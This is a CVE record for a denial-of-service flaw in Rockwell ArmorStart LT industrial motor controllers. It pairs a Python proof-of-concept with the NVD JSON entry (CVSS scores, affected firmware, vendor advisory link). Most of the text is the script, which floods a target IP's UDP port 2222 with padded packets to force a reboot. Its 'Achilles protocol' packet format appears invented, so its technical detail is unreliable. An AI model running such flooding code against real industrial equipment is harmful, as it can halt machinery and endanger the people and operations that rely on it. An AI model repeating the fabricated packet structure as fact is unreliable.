CVE-2025-9281

# CVE-2025-9281 PoC - ArmorStart LT DoS # This PoC demonstrates the Achilles Comprehensive step limit storm test # that triggers device reboot on vulnerable ArmorStart LT devices import socket import time import struct def create_achilles_storm_packet(seq_num): """ Create Achilles protocol storm test packet """ # Achilles protocol header header = b'\x00\x01' # Protocol version packet_type = b'\x00\x05' # Step limit test # Sequence number seq = struct.pack('>I', seq_num) # Timestamp timestamp = struct.pack('>Q', int(time.time() * 1000)) # Padding to trigger storm condition padding = b'\xFF' * 1400 packet = header + packet_type + seq + timestamp + padding return packet def send_storm_test(target_ip, target_port=2222, duration=30): """ Send Achilles step limit storm test to trigger DoS """ print(f"[*] Starting Achilles storm test against {target_ip}:{target_port}") print(f"[*] Test duration: {duration} seconds") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDTIMEO, 5) start_time = time.time() packet_count = 0 try: while time.time() - start_time < duration: packet = create_achilles_storm_packet(packet_count) try: sock.sendto(packet, (target_ip, target_port)) packet_count += 1 if packet_count % 100 == 0: print(f"[*] Sent {packet_count} packets...") except Exception as e: print(f"[!] Error sending packet: {e}") time.sleep(0.001) # High rate sending print(f"[+] Test completed. Sent {packet_count} packets.") print(f"[!] Target device should reboot due to DoS vulnerability") except KeyboardInterrupt: print("\n[!] Test interrupted by user") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_9281_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2222 send_storm_test(target, port) # Note: This PoC is for educational and authorized testing purposes only.

{"cve": {"id": "CVE-2025-9281", "sourceIdentifier": "[email protected]", "published": "2026-01-20T14:16:10.330", "lastModified": "2026-02-02T18:08:59.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security issue exists within ArmorStart® LT that can result in a denial-of-service condition. During execution of the Achilles Comprehensive step limit storm tests, the device reboots"}, {"lang": "es", "value": "Existe un problema de seguridad en ArmorStart® LT que puede resultar en una condición de denegación de servicio. Durante la ejecución de las pruebas de tormenta de límite de pasos exhaustivas de Achilles, el dispositivo se reinicia."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:rockwellautomation:armorstart_lt_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.002", "matchCriteriaId": "564CE3DE-2D80-4511-B970-C644C7217F20"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:rockwellautomation:armorstart_lt:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AB2017-CB37-4A93-90FD-7FE82640FB77"}]}]}], "references": [{"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1768.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}